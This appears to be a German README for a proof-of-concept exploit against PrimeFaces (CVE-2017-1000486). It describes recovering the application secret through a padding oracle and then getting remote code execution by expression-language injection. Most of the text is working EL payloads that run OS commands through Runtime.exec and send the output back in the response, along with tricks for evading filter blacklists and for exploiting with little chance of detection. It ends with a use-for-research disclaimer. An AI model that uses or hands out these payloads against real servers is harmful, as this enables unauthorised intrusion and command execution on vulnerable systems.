
Dies ist ein PoC für CVE-2017-1000486 mit einigen Payloads, die nützlich sind, um lexikografische Blacklisting-Prüfungen auf Standardfunktionen zu umgehen, die zur Erzielung von RCE verwendet werden (getClass(), exec(), usw.), sowie zum Abrufen des Geheimnisses von primefaces über ein Padding-Oracle, um bei der Ausnutzung möglichst wenig aufzufallen.
Dieses PoC ist ein mehrstufiges Skript, das nützlich ist, um den Kontext jeder Anwendung und der verfügbaren Webserver-Bibliotheken zu analysieren.
Zunächst wird das von @AonCyberLabs geschriebene padBuster-Perl-Skript verwendet, um das Geheimnis von primefaces abzurufen, sofern es nicht manuell bereitgestellt wird. Dies ist nützlich, um die Anzahl der Anfragen an den Server bei der anschließenden Verschlüsselung der Payloads zu reduzieren und so den gesamten Prozess zu beschleunigen. Die für die Ausnutzung der Padding-Oracle-Schwachstelle benötigte Zeit ist direkt proportional zur Größe der Payloads; wenn man es nur in der ersten Stufe mit einer deutlich kleineren Payload verwendet, verbessert das die Leistung erheblich. Ich möchte nicht den gesamten Code von padBuster neu schreiben, um ihn direkt in Python zu integrieren. Daher wird eine saubere Befehlsausführung über das Betriebssystem durchgeführt, um ihn auszuführen.
EL-Payload:
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22SECRET%22,initParam%5B%22primefaces.SECRET%22%5D)}
Es wird eine einfache Prüfung mit einer EL durchgeführt, die eine Header-Injection ausführt, um die Ausführung des EL-Codes zu überprüfen. Beachten Sie, dass in diesem Fall zwei Methoden verfügbar sind: setResponseHeader und addResponseHeader. Weitere verfügbare Methoden können der offiziellen Dokumentation entnommen werden.
EL-Payload:
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22PROVA%22,%22123456%22)}
Anschließend wird eine Reihe von Prüfungen der verfügbaren impliziten Variablen durchgeführt, um einige potenzielle Probleme aufzuzeigen, die durch kundenspezifische Webserver-Bibliotheken verursacht werden, die nicht alle impliziten Variablen bereitstellen, wie z. B. IBM WebLogic. Darüber hinaus wird die Version der Java-Laufzeitumgebung ermittelt, wobei versucht wird, mit dem Payload so spezifisch wie möglich zu sein.
Tatsächlich habe ich beobachtet, dass es bei Java <=7 bei den aufgerufenen Methoden zu einer Verwechslung der Parametertypen kommt. Ich vermute, dass dies auf die Variablentyp-Zuweisung des EL-Parsers zurückzuführen ist. Um dies zu vermeiden, greift das Skript über das getDeclaredMethods()-Array auf bestimmte Methoden zu; in diesem Fall ist die Identifizierung des korrekten Index für jede verwendete Methode erforderlich. Dies erhöht offensichtlich die Größe des Payloads, bietet aber eine hohe Robustheit.
Um ein Byte-Array als Puffer zu erstellen, wird ein Workaround über "".format("%0999d",0).getBytes() verwendet, das einen Puffer mit einer Länge von 999 erzeugt, oder "0000000".getBytes(), das einen Puffer mit einer Länge von 7 erzeugt.
Standard-EL:
${facesContext.getExternalContext().getSession(true).putValue("stream",""["class"].forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null)["exec"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22command%22).getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","".format("%0999d",0).getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()))}
${facesContext.getExternalContext().getResponseOutputStream().write(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()).flush().close()}
EL mit getDeclaredMethods():
${facesContext.getExternalContext().getSession(true).putValue("runtime",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(null))}
${facesContext.getExternalContext().getSession(true).putValue("stream",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getSession(true).getValue("runtime"),"command").getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","0000000".getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"0000000".length()))}
${facesContext.getELContext()["class"].forName("org.apache.catalina.connector.CoyoteOutputStream").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getResponseOutputStream(),facesContext.getExternalContext().getSession(true).getValue("buffer"))}
${facesContext.getExternalContext().getResponseOutputStream().flush().close()}
Methoden in JSF können über die Referenz ["method"]() aufgerufen werden, nicht nur wie in Standard-Java mit der Punktnotation .method(). Dies kann helfen, Filter zu umgehen, die auf dem Server zwischen der Entschlüsselung und der Ausführung der EL eingerichtet sind.
getClass() kann durch die Anweisung ["class"] ersetzt werden
facesContext.getExternalContext().getSession(true).putValue() kann durch session.setAttribute() ersetzt werden. Als allgemeiner Ansatz kann jede Map als Repository zur Speicherung von Variablen verwendet werden.
DIESES TOOL WIRD NUR ZU BILDUNGSZWECKEN BEREITGESTELLT, MIT DER ABSICHT, ES AUSSCHLIESSLICH FÜR FORSCHUNGSZWECKE ZU VERWENDEN.
Sie dürfen diese Software nicht für illegale oder unethische Zwecke verwenden, einschließlich Aktivitäten, die zu strafrechtlicher oder zivilrechtlicher Haftung führen könnten.
NUTZUNG AUF EIGENES RISIKO. DIESE SOFTWARE WIRD VOM URHEBERRECHTSINHABER ODER DEN BEITRAGENDEN "WIE BESEHEN" BEREITGESTELLT, UND JEGLICHE AUSDRÜCKLICHE ODER STILLSCHWEIGENDE GEWÄHRLEISTUNGEN – EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF, DIE STILLSCHWEIGENDEN GEWÄHRLEISTUNGEN DER MARKTGÄNGIGKEIT UND DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK – WERDEN ABGELEHNT. IN KEINEM FALL SIND DER URHEBERRECHTSINHABER ODER DIE BEITRAGENDEN HAFTBAR FÜR DIREKTE, INDIREKTE, ZUFÄLLIGE, BESONDERE, BEISPIELHAFTE ODER FOLGESCHÄDEN.